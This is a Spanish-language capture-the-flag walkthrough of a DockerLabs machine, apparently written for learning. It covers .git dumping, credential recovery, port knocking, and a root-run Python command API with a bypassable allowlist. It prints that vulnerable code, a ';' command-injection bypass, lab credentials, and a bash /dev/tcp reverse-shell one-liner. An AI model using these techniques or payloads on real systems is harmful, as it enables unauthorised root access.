Para poder hacer uso de esta máquina primero debemos descargar los archivos y así desplegarlo con Docker.
Descargamos el archivo de la página dockerlabs.es/#
Al momento de descargar esta máquina y descomprimir el archivo, en este caso observamos 2 archivos.
Para desplegar el laboratorio ejecutamos de la siguiente manera, así también podemos ver que nos indica la dirección que tendremos, así también el que hacer cuando terminemos este.
Realizamos un escaneo de los puertos de la dirección IP y podemos observar que tenemos un puerto y este tiene un dominio, el cual agregaremos para poder acceder.
Al dirigirnos al dominio en el navegador podemos observar la siguiente página y al probar el botón notamos que no es funcional.
Ya que la página no tiene nada oculto en el código, realizaremos un escaneo de subdirectorios, pero no encontramos nada.
Realizaremos un escaneo de subdominios, pero tampoco encontramos nada.
Volvemos a realizar un escaneo más detallado y podemos observar que seguimos teniendo solo el puerto 80
, pero esta vez encontró un directorio .git
.
Ya que ser trata de un .git
haremos uso de githack
.
Podemos observar que archivos son 3 archivos y en la imagen anterior tenemos dos hashes.
9c902d081106a85cf2d928cd96a1cd9c90d7a2c9
648d951e0f8b7cc60b11c82d9328fe9cb1a4a53d
Esto también lo observamos, pero con más información si vamos a la carpeta que se genera e indicamos git log
.
Revisamos cada commit
y en el primero observamos que tenemos un mensaje que nos servirá.
En el segundo commit
tenemos lo siguiente.
Podemos observar que identificamos varios archivos. Primero un archivo authentication.txt
que fue eliminado. Para recuperar el archivo eliminado hacemos lo siguiente.
Listamos los archivos y podemos observar que es el mismo texto que nos dio.
Las credenciales son iguales así que podemos suponer que las credenciales son:
skulloperator
+%7nj^g!DQxp]a>c4v&0
Como no identifico el servicio SSH no podemos probar las credenciales. Seguimos revisando y ahora debemos buscar el archivo /network.pcap
.
Abrimos el archivo con whireshark
y como la consulta es corta podemos hacerlo manual. Comprobando la captura podemos observar que en la IP de nuestro interés se tiene comunicación con el puerto SSH y 3 puertos adicionales.
1000
5000
12000
Con esta información realizaremos un port knocking
a los puertos encontrados
Ahora volveremos a ejecutar nmap
para revisar, pero no nos habilitó ningún puerto.
Debemos tener en cuenta que esto se habilita también cuando sigue un determinado orden al momento de tocar los puertos, por ello sí realizamos de la siguiente manera si se nos habilita.
Ya que tenemos habilitado el puerto SSH ingresamos con las credenciales que encontramos y podemos observar que accedimos con éxito.
Listamos los archivos y podemos observar un flag.
Buscamos permisos SUID, pero ninguno nos sirve.
Listamos capabilities, tampoco observamos nada relevante.
Revisando procesos observamos que tenemos el archivo skullnet_
api.py
que lo está ejecutando root.
Abrimos el archivo y podemos observar el siguiente escucha en el puerto 8081
y ejecuta comandos cuando recibe una solicitud http get
con un parámetro específico
import http.server
import socketserver
import urllib.parse
import subprocess
import base64
import os
PORT = 8081
AUTH_KEY_BASE64 = "d2VfYXJlX2JvbmVzXzUxMzU0NjUxNjQ4NjQ4NA=="
class Handler(http.server.SimpleHTTPRequestHandler):
def do_GET(self):
auth_header = self.headers.get('Authorization')
if auth_header is None or not auth_header.startswith('Basic' ):
self.send_response(401)
self.send_header("Content-type", "text/plain")
self.end_headers()
self.wfile.write(b"Authorization header is missing or incorrect")
return
clear_text_key = auth_header.split('Basic ')[1]
decoded_key = base64.b64decode(AUTH_KEY_BASE64).decode()
if clear_text_key != decoded_key:
self.send_response(403)
self.send_header("Content-type", "text/plain")
self.end_headers()
self.wfile.write(b"Invalid authorization key")
return
parsed_path = urllib.parse.urlparse(self.path)
query_params = urllib.parse.parse_qs(parsed_path.query)
if 'exec' in query_params:
command = query_params['exec'][0]
try:
allowed_commands = ['ls', 'whoami']
if not any(command.startswith(cmd) for cmd in allowed_commands):
self.send_response(403)
self.send_header("Content-type", "text/plain")
self.end_headers()
self.wfile.write(b"Command not allowed.")
return
result = subprocess.check_output(command, shell=True, stderr=subprocess.STDOUT)
self.send_response(200)
self.send_header("Content-type", "text/plain")
self.end_headers()
self.wfile.write(result)
except subprocess.CalledProcessError as e:
self.send_response(500)
self.send_header("Content-type", "text/plain")
self.end_headers()
self.wfile.write(e.output)
else:
self.send_response(400)
self.send_header("Content-type", "text/plain")
self.end_headers()
self.wfile.write(b"Missing 'exec' parameter in URL")
with socketserver.TCPServer(("", PORT), Handler) as httpd:
httpd.serve_forever()
Este código para la parte de autenticación espera un encabezado Authorization
con el esquema de basic
como tenemos la clave de autenticación AUTH_KEY_BASE64
y si esa sección convertimos de base 64 podemos observar lo siguiente.
Con esto en conocimiento la estructura del encabezado de Authorization
sería la siguiente.
Authorization: basic we_are_bones_513546516486484
Para poder ejecutar comandos luego de la autenticación exitosa usamos el parámetro exec
Con estas consideraciones y con un entendimiento general del código podemos realizar consultas usando curl. Ejecutamos el comando y podemos observar que listamos archivos con éxito y también podemos observar que los ejecutamos como root.
Con esto en mente podemos establecer una revshell.
bash -c 'bash -i >& /dev/tcp/172.17.0.1/1234 0>&1'
Lo URL encodeamos para evitar problemas
bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.17.0.1%2F1234%200%3E%261%22
Antes de enviar esa petición iniciamos nuestro listener.
Probando modos de saltar esta restricción podemos observar que si ingresamos un ;
URL en codeado sería %3B
podemos ejecutar dos comandos y saltarnos la restricción.
Con este permiso lo que hacemos es agregar el comando luego del ls
.
Si vamos a nuestro listener podemos observar que ya tenemos acceso a la consola de root. De esta manera culminando esta máquina.